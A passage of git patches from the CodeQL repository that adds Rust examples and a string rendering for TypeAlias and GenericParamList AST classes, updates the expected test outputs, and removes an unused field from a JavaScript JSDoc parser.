d1d88c31f712ca7ea83b6bf61466710069f2fbdfa40499321686e2867b99b35f +lib/codeql/rust/elements/GenericParamList.qll 25fcaa68bc7798d75974d12607fae0afc7f84d43091b2d0c66a504095ef05667 3b71115c6af0b8e7f84d8c2d5ac9f23595ad2b22dbd19a9ea71906ca99340878 lib/codeql/rust/elements/IdentPat.qll ad5f202316d4eeee3ca81ea445728f4ad7eb6bb7d81232bc958c22a93d064bf2 7ce2772e391e593d8fd23b2b44e26d0d7e780327ec973fcc9dce52a75fda0e36 lib/codeql/rust/elements/IfExpr.qll f62153e8098b3eb08b569d4e25c750bc686665651579db4bc9e11dcef8e75d63 55006a55d612f189e73caa02f7b4deda388c692f0a801cdda9f833f2afdca778 lib/codeql/rust/elements/Impl.qll 6407348d86e73cdb68e414f647260cb82cb90bd40860ba9c40248d82dcba686c f60e07c8731185f7aa9c792a40c120669920d95f5400658de102b4a3ce30dd10 @@ -165,7 +165,7 @@ lib/codeql/rust/elements/TupleFieldList.qll 73397eef1cf8c18286b8f5bb12fbdc9bb75e lib/codeql/rust/elements/TuplePat.qll 028cdea43868b0fdd2fc4c31ff25b6bbb40813e8aaccf72186051a280db7632e 38c56187971671e6a9dd0c6ccccb2ee4470aa82852110c6b89884496eb4abc64 lib/codeql/rust/elements/TupleStructPat.qll da398a23eb616bf7dd586b2a87f4ab00f28623418f081cd7b1cc3de497ef1819 6573bf3f8501c30af3aeb23d96db9f5bea7ab73e2b7ef3473095c03e96c20a5c lib/codeql/rust/elements/TupleTypeRepr.qll 819b600abfb2d6110e3f9c09a3901c875530acf372c65e3d9071aed8ab302cbb 508e8e527248b42ba3f20d3ff5163c348c9d338b12ff7d244246fc711e9d240c -lib/codeql/rust/elements/TypeAlias.qll 2974953465e096fee61c70199a5672174254494786bc762c32c84df97422f08b 55e634e3dfa6ea3980ab37a524ea60c6adc207114a313c0c2a3632f7b5583dab +lib/codeql/rust/elements/TypeAlias.qll 7c06232b50df4b6d9066e18a7286f6f0986df6b3994838923c3b2cd0898bb937 d4e61091e396b6cbbfbc9731a58154d81ef986ccf0f306e64962661c468b2889 lib/codeql/rust/elements/TypeArg.qll 88b5d150dbb207079bf40019b60eb6f5389247aa3040474729019d2be48e92a6 6a507290152be04b1d2c4e2c04214cfc87c583ed0611bd75655aff59eb8ce952 lib/codeql/rust/elements/TypeBound.qll d4a699afb08c2b8fd3d0b08cd8c48971439ff5511758881ce50f0f4a9839d84a 3c439f1a92d29ae66e643d1e75500a951d30e70cc54a5729bf0c2e13a97330a4 lib/codeql/rust/elements/TypeBoundList.qll a0b95aa95485a0e23b9198ca492ea3fa075fb0dc9fb40ba997aff35d70c51d3b 51de36a56cd2921758260c62cebeb96e703d10b226ca505c874ae54c5a981348 @@ -422,7 +422,6 @@ lib/codeql/rust/elements/internal/TupleStructPatConstructor.qll 9d68f67a17a5cec0 lib/codeql/rust/elements/internal/TupleTypeReprConstructor.qll 80c31c25fd27e330690fb500d757a4bbd33f226186d88ea73bfe4cf29a7db508 d572a72fa361990a3d0a3f9b81d1e966e2ba1ac0a60314ec824c1b8b2814c857 lib/codeql/rust/elements/internal/TupleTypeReprImpl.qll 149719039d66f0cfb620e18d7af7e0995c5125a91f3883ad979e9ad480136d6e 310ef7e9e1e42853aa6a2c7bd9b8155773ff2b091d853059c7e04c8d5e30d723 lib/codeql/rust/elements/internal/TypeAliasConstructor.qll 048caa79eb7d400971e3e6d7e580867cbee4bd6b9d291aafac423aa96c321e76 d1d1e33a789ae6fa1a96af4d23d6376b9d82e14e3cbb777963e2d2cb8b22f66d -lib/codeql/rust/elements/internal/TypeAliasImpl.qll 43af0e8e3df8bca5b4bd48ad870cb619283710ec5b86085d85874a67cac3cb6e 75f1f8ba2bd722d55a84178cf338d34f7c57a156f8cc014bd2b29ee4da5ea9e2 lib/codeql/rust/elements/internal/TypeArgConstructor.qll 51d621e170fdf5f91497f8cc8c1764ce8a59fde5a2b9ecfad17ce826a96c56c4 a5bbb329bde456a40ffa84a325a4be1271dbde842c1573d1beb7056c8fb0f681 lib/codeql/rust/elements/internal/TypeArgImpl.qll c2b4aa45fb33c0e19e79584ec4245f9f1c19b4ec49ba7e7b03ea04a8a2be8c11 6b0be233709d67e1928bb519dd4492a7278d075289cae76a856182d56691f018 lib/codeql/rust/elements/internal/TypeBoundConstructor.qll ba99616e65cf2811187016ff23e5b0005cfd0f1123622e908ff8b560aaa5847f fde78432b55b31cf68a3acb7093256217df37539f942c4441d1b1e7bf9271d89 @@ -530,7 +529,7 @@ lib/codeql/rust/elements/internal/generated/Function.qll 6c04fffdc9de54cd01ff76f lib/codeql/rust/elements/internal/generated/GenericArg.qll 464da0ba1c5ddcd1be68617167f177773d99b5ac4775ec8ea24d503e789a9099 6faa1033d59baf7c210ac4837a55781cfc054b7acbad8027faf4630dbfa6e101 lib/codeql/rust/elements/internal/generated/GenericArgList.qll b8cd936bba6f28344e28c98acf38acb8ef43af6ecf8367d79ed487e5b9da17cb 8b14331261e49d004807285b02fca190aafd62bfb9378b05c7d9c1e95525fe7b lib/codeql/rust/elements/internal/generated/GenericParam.qll a0285123f974f287154b706bf6688b86edf72a4adcec57346c654d962435651b b42c3915e9564b5b5c5282229bf882aa3309de26a77721b2255d6f4235c0cc38 -lib/codeql/rust/elements/internal/generated/GenericParamList.qll f2d8945bc70cda6929bb6b652f9e3c7707e73fb5e778b21e99dbac594e71285f 7b97da5b6a6504377456bedebddc293d714f90e8fc2ce64199656666d5f749af +lib/codeql/rust/elements/internal/generated/GenericParamList.qll b18fa5fd435d94857c9863bbcc40571af0b1efba1b31ba9159c95568f5c58fce 6e70f1e9a1823d28d60e0e753ac8fbbe8deb10c94365f893b0c8f8ea4061b460 lib/codeql/rust/elements/internal/generated/IdentPat.qll 1fe5061759848fdc9588b27606efb1187ce9c13d12ad0a2a19666d250dd62db3 87dbc8b88c31079076a896b48e0c483a600d7d11c1c4bf266581bdfc9c93ae98 lib/codeql/rust/elements/internal/generated/IfExpr.qll 413dd7a20c6b98c0d2ad2e5b50981c14bf96c1a719ace3e341d78926219a5af7 c9a2d44e3baa6a265a29a683ca3c1683352457987c92f599c5771b4f3b4bafff lib/codeql/rust/elements/internal/generated/Impl.qll 863281820a933a86e6890e31a250f6a8d82ffc96c8b0fa9ff3884548f89d57b5 85fdb5c18db98dd15b74fed5a7547cb6e4db58ab2b9573d0a5cf15a9a2033653 @@ -595,7 +594,7 @@ lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll 51d1e9e683fc79dddbff lib/codeql/rust/elements/internal/generated/PureSynthConstructors.qll e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f lib/codeql/rust/elements/internal/generated/RangeExpr.qll 23cca03bf43535f33b22a38894f70d669787be4e4f5b8fe5c8f7b964d30e9027 18624cef6c6b679eeace2a98737e472432e0ead354cca02192b4d45330f047c9 lib/codeql/rust/elements/internal/generated/RangePat.qll 80826a6a6868a803aa2372e31c52a03e1811a3f1f2abdb469f91ca0bfdd9ecb6 34ee1e208c1690cba505dff2c588837c0cd91e185e2a87d1fe673191962276a9 -lib/codeql/rust/elements/internal/generated/Raw.qll 2e299cb4fc9e506d910827e3a3ab743570a02d963c9001b33c6c06f9aa92200d a19748787c02a18abffaaa4c7b9c23a9bbc56020fb36698bf82da72c09fa57db +lib/codeql/rust/elements/internal/generated/Raw.qll 08297f639b6580e9776f7d4d0c8f1b82351f04505cfd82dac2c764866b176e98 4d2be2469dc9604a4bc174f1f5caceb93d13ec4ac1a50ded9ef8a427f2027f7f lib/codeql/rust/elements/internal/generated/RecordFieldList.qll 4a23b0d75a90671197246dbbb4e62706c180074abb8ebe60a96df11c47a917a2 09be127977651a24010b090d9681714d83ebd461098f9cf0e0d1973cafb1c782 lib/codeql/rust/elements/internal/generated/RefExpr.qll 7d995884e3dc1c25fc719f5d7253179344d63650e217e9ff6530285fe7a57f64 f2c3c12551deea4964b66553fb9b6423ee16fec53bd63db4796191aa60dc6c66 lib/codeql/rust/elements/internal/generated/RefPat.qll 456ede39837463ee22a630ec7ab6c8630d3664a8ea206fcc6e4f199e92fa564c 5622062765f32930465ba6b170e986706f159f6070f48adee3c20e24e8df4e05 @@ -634,7 +633,7 @@ lib/codeql/rust/elements/internal/generated/TupleFieldList.qll 9d4981d04c2ee005e lib/codeql/rust/elements/internal/generated/TuplePat.qll 4e13b509e1c9dd1581a9dc50d38e0a6e36abc1254ea9c732b5b3e6503335afeb 298028df9eb84e106e625ed09d6b20038ad47bfc2faf634a0ffea50b17b5805d lib/codeql/rust/elements/internal/generated/TupleStructPat.qll 6539d0edbdc16e7df849514d51980d4cd1a2c9cbb58ca9e5273851f96df4eb36 45a13bae5220d5737cbd04713a17af5b33d8bb4cfdf17ddd64b298ab0c1eea24 lib/codeql/rust/elements/internal/generated/TupleTypeRepr.qll dc494a783c495c96f2498230d160b59117cfa96d927861cd9d76676fefac8fb2 47da01697f143d4077978594b0c2f4c4bc5e92823dfcaad3ce8ab91725a536a3 -lib/codeql/rust/elements/internal/generated/TypeAlias.qll 56162d01356f018a3acf20b79dcc49a939ebf4f422939fae6a20b91cbbda8564 903b61117f4caa362a350a9cbec701aa59eb2052aff848999ebfaaf574e02352 +lib/codeql/rust/elements/internal/generated/TypeAlias.qll 76f2ed5427077a5a4723285410740aeba01886ff1499d603cfeb735fc58ec580 b713c0ee40c959dff01b0f936552e6253634bb5ae152315f0949ecc88cb0dcce lib/codeql/rust/elements/internal/generated/TypeArg.qll e76ea103f7e9ead3be2c34718270d6893ca1980ee31e32ec19a92381e0040d73 9f2ea2d9434d57d7e3223e5d9d7662047e38bda26112751e122e2c1d03549eb5 lib/codeql/rust/elements/internal/generated/TypeBound.qll 28896d40ecb222ca0f42635a5820034755ea05d9d6c181455e7f5ac31f9d6139 87cc25695a256d9ab3cf9077a6a5602320ce7cc958248296420c937d9cf477ca lib/codeql/rust/elements/internal/generated/TypeBoundList.qll 31881cae2f71df5adf7a427357565bc0e7ba58c6a774a9d5835560a34c4db30f 1ff36ba34dd966d945d743781e3a1cccad4bb9fd5d32902dfd0bcad537501a85 diff --git a/rust/ql/.gitattributes b/rust/ql/.gitattributes index 42e4c13f2f4..c7f83eda992 100644 --- a/rust/ql/.gitattributes +++ b/rust/ql/.gitattributes @@ -424,7 +424,6 @@ /lib/codeql/rust/elements/internal/TupleTypeReprConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/TupleTypeReprImpl.qll linguist-generated /lib/codeql/rust/elements/internal/TypeAliasConstructor.qll linguist-generated -/lib/codeql/rust/elements/internal/TypeAliasImpl.qll linguist-generated /lib/codeql/rust/elements/internal/TypeArgConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/TypeArgImpl.qll linguist-generated /lib/codeql/rust/elements/internal/TypeBoundConstructor.qll linguist-generated diff --git a/rust/ql/lib/codeql/rust/elements/GenericParamList.qll b/rust/ql/lib/codeql/rust/elements/GenericParamList.qll index ea6756f5abf..58e4d6eea62 100644 --- a/rust/ql/lib/codeql/rust/elements/GenericParamList.qll +++ b/rust/ql/lib/codeql/rust/elements/GenericParamList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.GenericParam /** - * A GenericParamList. For example: + * A list of generic parameters. For example: * ```rust - * todo!() + * fn f(a: A, b: B) {} + * // ^^^^^^ + * type Foo = (T1, T2); + * // ^^^^^^^^ * ``` */ final class GenericParamList = Impl::GenericParamList; diff --git a/rust/ql/lib/codeql/rust/elements/TypeAlias.qll b/rust/ql/lib/codeql/rust/elements/TypeAlias.qll index a3bd36bf728..6cccf6a2400 100644 --- a/rust/ql/lib/codeql/rust/elements/TypeAlias.qll +++ b/rust/ql/lib/codeql/rust/elements/TypeAlias.qll @@ -16,9 +16,14 @@ import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause /** - * A TypeAlias. For example: + * A type alias. For example: * ```rust - * todo!() + * type Point = (u8, u8); + * + * trait Trait { + * type Output; + * // ^^^^^^^^^^^ + * } * ``` */ final class TypeAlias = Impl::TypeAlias; diff --git a/rust/ql/lib/codeql/rust/elements/internal/GenericParamListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/GenericParamListImpl.qll index 1ebb52e9a39..95fcc406adc 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/GenericParamListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/GenericParamListImpl.qll @@ -15,9 +15,12 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A GenericParamList. For example: + * A list of generic parameters. For example: * ```rust - * todo!() + * fn f(a: A, b: B) {} + * // ^^^^^^ + * type Foo = (T1, T2); + * // ^^^^^^^^ * ``` */ class GenericParamList extends Generated::GenericParamList { diff --git a/rust/ql/lib/codeql/rust/elements/internal/TypeAliasImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TypeAliasImpl.qll index e8553da37a0..a9a3c190c01 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TypeAliasImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TypeAliasImpl.qll @@ -1,4 +1,3 @@ -// generated by codegen, remove this comment if you wish to edit this file /** * This module provides a hand-modifiable wrapper around the generated class `TypeAlias`. * @@ -12,11 +11,29 @@ private import codeql.rust.elements.internal.generated.TypeAlias * be referenced directly. */ module Impl { + // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A TypeAlias. For example: + * A type alias. For example: * ```rust - * todo!() + * type Point = (u8, u8); + * + * trait Trait { + * type Output; + * // ^^^^^^^^^^^ + * } * ``` */ - class TypeAlias extends Generated::TypeAlias { } + class TypeAlias extends Generated::TypeAlias { + override string toStringImpl() { + result = concat(int i | | this.toStringPart(i), "" order by i) + } + + private string toStringPart(int index) { + index = 0 and result = "type " + or + index = 1 and result = this.getName().getText() + or + index = 2 and result = this.getGenericParamList().toAbbreviatedString() + } + } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParamList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParamList.qll index 3d726fa85bc..574bcb5f6f3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParamList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParamList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.GenericParam */ module Generated { /** - * A GenericParamList. For example: + * A list of generic parameters. For example: * ```rust - * todo!() + * fn f(a: A, b: B) {} + * // ^^^^^^ + * type Foo = (T1, T2); + * // ^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::GenericParamList` class directly. * Use the subclass `GenericParamList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll index c7a1472362e..3ddae8aceb7 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll @@ -409,9 +409,12 @@ module Raw { /** * INTERNAL: Do not use. - * A GenericParamList. For example: + * A list of generic parameters. For example: * ```rust - * todo!() + * fn f(a: A, b: B) {} + * // ^^^^^^ + * type Foo = (T1, T2); + * // ^^^^^^^^ * ``` */ class GenericParamList extends @generic_param_list, AstNode { @@ -4034,9 +4037,14 @@ module Raw { /** * INTERNAL: Do not use. - * A TypeAlias. For example: + * A type alias. For example: * ```rust - * todo!() + * type Point = (u8, u8); + * + * trait Trait { + * type Output; + * // ^^^^^^^^^^^ + * } * ``` */ class TypeAlias extends @type_alias, AssocItem, ExternItem, Item { diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeAlias.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeAlias.qll index b460194cdc3..7f2f904bd43 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeAlias.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeAlias.qll @@ -23,9 +23,14 @@ import codeql.rust.elements.WhereClause */ module Generated { /** - * A TypeAlias. For example: + * A type alias. For example: * ```rust - * todo!() + * type Point = (u8, u8); + * + * trait Trait { + * type Output; + * // ^^^^^^^^^^^ + * } * ``` * INTERNAL: Do not reference the `Generated::TypeAlias` class directly. * Use the subclass `TypeAlias`, where the following predicates are available. diff --git a/rust/ql/test/extractor-tests/generated/.generated_tests.list b/rust/ql/test/extractor-tests/generated/.generated_tests.list index aef0f436e5a..094b0a5c514 100644 --- a/rust/ql/test/extractor-tests/generated/.generated_tests.list +++ b/rust/ql/test/extractor-tests/generated/.generated_tests.list @@ -38,7 +38,7 @@ FormatArgsExpr/gen_format_args_expr.rs 72c806ed163e9dcce2d0c5c8664d409b2aa635c10 FormatArgsExpr/gen_format_argument.rs 350d370e6f1db03d756384a3dbdb294697d241ff7c28d159cf57748abe99cfe9 350d370e6f1db03d756384a3dbdb294697d241ff7c28d159cf57748abe99cfe9 Function/gen_function.rs ba6ecb9e0d89183295eb02f3c20ebbf5c209f89bd0172c73a3b4a6dacbf3a54c ba6ecb9e0d89183295eb02f3c20ebbf5c209f89bd0172c73a3b4a6dacbf3a54c GenericArgList/gen_generic_arg_list.rs cfb072d3b48f9dd568c23d4dfefba28766628678f66bbf9a436de9919ead35f5 cfb072d3b48f9dd568c23d4dfefba28766628678f66bbf9a436de9919ead35f5 -GenericParamList/gen_generic_param_list.rs 4cc9b628f53e1a6c5781ad195b8648fa6dee0bb41b24007fbd986527374d3669 4cc9b628f53e1a6c5781ad195b8648fa6dee0bb41b24007fbd986527374d3669 +GenericParamList/gen_generic_param_list.rs 3a1981a7c4731329ad6da0d887f09be04f31342d94f44711ac0ac455930f773a 3a1981a7c4731329ad6da0d887f09be04f31342d94f44711ac0ac455930f773a IdentPat/gen_ident_pat.rs 87f9201ca47683ff6f12a0c844c062fdedb6d86546794522d358b117ba0fe477 87f9201ca47683ff6f12a0c844c062fdedb6d86546794522d358b117ba0fe477 IfExpr/gen_if_expr.rs 2df66735394ebb20db29d3fbf2721ad4812afbe8d4614d03f26265c1f481f1e8 2df66735394ebb20db29d3fbf2721ad4812afbe8d4614d03f26265c1f481f1e8 Impl/gen_impl.rs dd97fa44ec844b735b30e7dfd1b8ecd4449c7914af1ea427edcba848194a84ed dd97fa44ec844b735b30e7dfd1b8ecd4449c7914af1ea427edcba848194a84ed @@ -122,7 +122,7 @@ TupleFieldList/gen_tuple_field_list.rs d2a5151b413be3edbf093c4f47a8d57945e794d39 TuplePat/gen_tuple_pat.rs b1b0c9c5ff1b787f380644691c77807655a4f6441fc7431c90ecf78c54c26148 b1b0c9c5ff1b787f380644691c77807655a4f6441fc7431c90ecf78c54c26148 TupleStructPat/gen_tuple_struct_pat.rs 601ca8813272d15b4c8fd7402d0d28a42a62be82865eb5e86b985ad31464ca98 601ca8813272d15b4c8fd7402d0d28a42a62be82865eb5e86b985ad31464ca98 TupleTypeRepr/gen_tuple_type_repr.rs 4ce074df3739c7614eae850d54d28f0ee4869d64ccc5736c5b73bed7800a0470 4ce074df3739c7614eae850d54d28f0ee4869d64ccc5736c5b73bed7800a0470 -TypeAlias/gen_type_alias.rs eee732f674d9f999fee1e1976c426ba07f23c63b58b3a53c2026a4b922c00c8f eee732f674d9f999fee1e1976c426ba07f23c63b58b3a53c2026a4b922c00c8f +TypeAlias/gen_type_alias.rs da2b959f1a2a4f5471c231025404ca82a1bc79ac68adcda5a67292c428ad6143 da2b959f1a2a4f5471c231025404ca82a1bc79ac68adcda5a67292c428ad6143 TypeArg/gen_type_arg.rs 11e024708429bb683adc848d0be168cd9d190793833880e6ec74139df296e818 11e024708429bb683adc848d0be168cd9d190793833880e6ec74139df296e818 TypeBound/gen_type_bound.rs 4198346113b075812f79858ccbd467339d6b8039a449bd58c4710dd0aba1c9c1 4198346113b075812f79858ccbd467339d6b8039a449bd58c4710dd0aba1c9c1 TypeBoundList/gen_type_bound_list.rs bf70e31e5908e0eea6cdb4354ae78fc6ee1077b193409e741cac9b5d93d5deb2 bf70e31e5908e0eea6cdb4354ae78fc6ee1077b193409e741cac9b5d93d5deb2 diff --git a/rust/ql/test/extractor-tests/generated/GenericParamList/GenericParamList.expected b/rust/ql/test/extractor-tests/generated/GenericParamList/GenericParamList.expected index e69de29bb2d..22f71c13aa6 100644 --- a/rust/ql/test/extractor-tests/generated/GenericParamList/GenericParamList.expected +++ b/rust/ql/test/extractor-tests/generated/GenericParamList/GenericParamList.expected @@ -0,0 +1,2 @@ +| gen_generic_param_list.rs:5:9:5:14 | <...> | getNumberOfGenericParams: | 2 | +| gen_generic_param_list.rs:7:13:7:20 | <...> | getNumberOfGenericParams: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/GenericParamList/GenericParamList_getGenericParam.expected b/rust/ql/test/extractor-tests/generated/GenericParamList/GenericParamList_getGenericParam.expected index e69de29bb2d..01af2d987e9 100644 --- a/rust/ql/test/extractor-tests/generated/GenericParamList/GenericParamList_getGenericParam.expected +++ b/rust/ql/test/extractor-tests/generated/GenericParamList/GenericParamList_getGenericParam.expected @@ -0,0 +1,4 @@ +| gen_generic_param_list.rs:5:9:5:14 | <...> | 0 | gen_generic_param_list.rs:5:10:5:10 | A | +| gen_generic_param_list.rs:5:9:5:14 | <...> | 1 | gen_generic_param_list.rs:5:13:5:13 | B | +| gen_generic_param_list.rs:7:13:7:20 | <...> | 0 | gen_generic_param_list.rs:7:14:7:15 | T1 | +| gen_generic_param_list.rs:7:13:7:20 | <...> | 1 | gen_generic_param_list.rs:7:18:7:19 | T2 | diff --git a/rust/ql/test/extractor-tests/generated/GenericParamList/gen_generic_param_list.rs b/rust/ql/test/extractor-tests/generated/GenericParamList/gen_generic_param_list.rs index a6b4414d2b5..043ea80af6d 100644 --- a/rust/ql/test/extractor-tests/generated/GenericParamList/gen_generic_param_list.rs +++ b/rust/ql/test/extractor-tests/generated/GenericParamList/gen_generic_param_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_generic_param_list() -> () { - // A GenericParamList. For example: - todo!() + // A list of generic parameters. For example: + fn f(a: A, b: B) {} + // ^^^^^^ + type Foo = (T1, T2); + // ^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Trait/AssocItemList_getAssocItem.expected b/rust/ql/test/extractor-tests/generated/Trait/AssocItemList_getAssocItem.expected index c7337ca090a..a8b21eb8466 100644 --- a/rust/ql/test/extractor-tests/generated/Trait/AssocItemList_getAssocItem.expected +++ b/rust/ql/test/extractor-tests/generated/Trait/AssocItemList_getAssocItem.expected @@ -1,3 +1,3 @@ -| gen_trait.rs:4:20:8:1 | AssocItemList | 0 | gen_trait.rs:5:3:5:18 | TypeAlias | -| gen_trait.rs:4:20:8:1 | AssocItemList | 1 | gen_trait.rs:6:3:6:20 | TypeAlias | +| gen_trait.rs:4:20:8:1 | AssocItemList | 0 | gen_trait.rs:5:3:5:18 | type Frobinator | +| gen_trait.rs:4:20:8:1 | AssocItemList | 1 | gen_trait.rs:6:3:6:20 | type Result | | gen_trait.rs:4:20:8:1 | AssocItemList | 2 | gen_trait.rs:7:3:7:72 | fn frobinize_with | diff --git a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.expected b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.expected index e69de29bb2d..19ccc9349b1 100644 --- a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.expected +++ b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.expected @@ -0,0 +1,2 @@ +| gen_type_alias.rs:4:5:5:26 | type Point | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isDefault: | no | hasName: | yes | hasTypeRepr: | yes | hasTypeBoundList: | no | hasVisibility: | no | hasWhereClause: | no | +| gen_type_alias.rs:8:9:8:20 | type Output | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isDefault: | no | hasName: | yes | hasTypeRepr: | no | hasTypeBoundList: | no | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getName.expected b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getName.expected index e69de29bb2d..57aefa9327d 100644 --- a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getName.expected +++ b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getName.expected @@ -0,0 +1,2 @@ +| gen_type_alias.rs:4:5:5:26 | type Point | gen_type_alias.rs:5:10:5:14 | Point | +| gen_type_alias.rs:8:9:8:20 | type Output | gen_type_alias.rs:8:14:8:19 | Output | diff --git a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getTypeRepr.expected index e69de29bb2d..a15078cc57d 100644 --- a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_type_alias.rs:4:5:5:26 | type Point | gen_type_alias.rs:5:18:5:25 | TupleTypeRepr | diff --git a/rust/ql/test/extractor-tests/generated/TypeAlias/gen_type_alias.rs b/rust/ql/test/extractor-tests/generated/TypeAlias/gen_type_alias.rs index e7aedd9c126..e602a9e1044 100644 --- a/rust/ql/test/extractor-tests/generated/TypeAlias/gen_type_alias.rs +++ b/rust/ql/test/extractor-tests/generated/TypeAlias/gen_type_alias.rs @@ -1,6 +1,11 @@ // generated by codegen, do not edit fn test_type_alias() -> () { - // A TypeAlias. For example: - todo!() + // A type alias. For example: + type Point = (u8, u8); + + trait Trait { + type Output; + // ^^^^^^^^^^^ + } } diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.expected b/rust/ql/test/library-tests/path-resolution/path-resolution.expected index 445eb3d9403..51dcc55b9e2 100644 --- a/rust/ql/test/library-tests/path-resolution/path-resolution.expected +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.expected @@ -131,7 +131,7 @@ resolvePath | main.rs:261:17:261:17 | C | main.rs:254:9:254:9 | C | | main.rs:274:16:274:16 | T | main.rs:268:7:268:7 | T | | main.rs:275:14:275:17 | Self | main.rs:266:5:276:5 | trait MyParamTrait | -| main.rs:275:14:275:33 | ...::AssociatedType | main.rs:270:9:270:28 | TypeAlias | +| main.rs:275:14:275:33 | ...::AssociatedType | main.rs:270:9:270:28 | type AssociatedType | | main.rs:284:13:284:17 | crate | main.rs:0:0:0:0 | Crate(main@0.0.1) | | main.rs:284:13:284:22 | ...::m13 | main.rs:279:1:292:1 | mod m13 | | main.rs:284:13:284:25 | ...::f | main.rs:280:5:280:17 | fn f | diff --git a/rust/schema/annotations.py b/rust/schema/annotations.py index 68d2c1a7736..d5e7d1d3ea0 100644 --- a/rust/schema/annotations.py +++ b/rust/schema/annotations.py @@ -1123,9 +1123,12 @@ class _: @annotate(GenericParamList) class _: """ - A GenericParamList. For example: + A list of generic parameters. For example: ```rust - todo!() + fn f(a: A, b: B) {} + // ^^^^^^ + type Foo = (T1, T2); + // ^^^^^^^^ ``` """ @@ -1705,9 +1708,14 @@ class _: @annotate(TypeAlias) class _: """ - A TypeAlias. For example: + A type alias. For example: ```rust - todo!() + type Point = (u8, u8); + + trait Trait { + type Output; + // ^^^^^^^^^^^ + } ``` """ From c61454b5caef46196b3bd222fb6c26ffd10370c1 Mon Sep 17 00:00:00 2001 From: Asger F Date: Thu, 20 Mar 2025 11:44:27 +0100 Subject: [PATCH 094/121] JS: Remove unused 'spec' field --- .../src/com/semmle/js/parser/JSDocParser.java | 24 ------------------- 1 file changed, 24 deletions(-) diff --git a/javascript/extractor/src/com/semmle/js/parser/JSDocParser.java b/javascript/extractor/src/com/semmle/js/parser/JSDocParser.java index 84027ced06c..3db83c92176 100644 --- a/javascript/extractor/src/com/semmle/js/parser/JSDocParser.java +++ b/javascript/extractor/src/com/semmle/js/parser/JSDocParser.java @@ -70,30 +70,6 @@ public class JSDocParser { return new JSDocComment(comment, r.fst(), tags); } - /** Specification of Doctrine AST types for JSDoc type expressions. */ - private static final Map, List> spec = - new LinkedHashMap, List>(); - - static { - spec.put(AllLiteral.class, Arrays.asList()); - spec.put(ArrayType.class, Arrays.asList("elements")); - spec.put(FieldType.class, Arrays.asList("key", "value")); - spec.put(FunctionType.class, Arrays.asList("this", "new", "params", "result")); - spec.put(NameExpression.class, Arrays.asList("name")); - spec.put(NonNullableType.class, Arrays.asList("expression", "prefix")); - spec.put(NullableLiteral.class, Arrays.asList()); - spec.put(NullLiteral.class, Arrays.asList()); - spec.put(NullableType.class, Arrays.asList("expression", "prefix")); - spec.put(OptionalType.class, Arrays.asList("expression")); - spec.put(ParameterType.class, Arrays.asList("name", "expression")); - spec.put(RecordType.class, Arrays.asList("fields")); - spec.put(RestType.class, Arrays.asList("expression")); - spec.put(TypeApplication.class, Arrays.asList("expression", "applications")); - spec.put(UndefinedLiteral.class, Arrays.asList()); - spec.put(UnionType.class, Arrays.asList("elements")); - spec.put(VoidLiteral.class, Arrays.asList()); - } - private static String sliceSource(String source, int index, int last) { if (index >= source.length()) return ""; if (last > source.length()) last = source.length(); From 3a6089740e3607e5a1a039b02ca87d76a762d2f2 Mon Sep 17 00:00:00 2001 From: Asger F Date: Thu, 20 Mar 2025 13:47:59 +0100 Subject: [PATCH 095/121] JS: Separate JSDoc qualified names into individual identifiers --- .../{NameExpression.java => Identifier.java} | 8 +- .../js/ast/jsdoc/QualifiedNameExpression.java | 35 ++++++++ 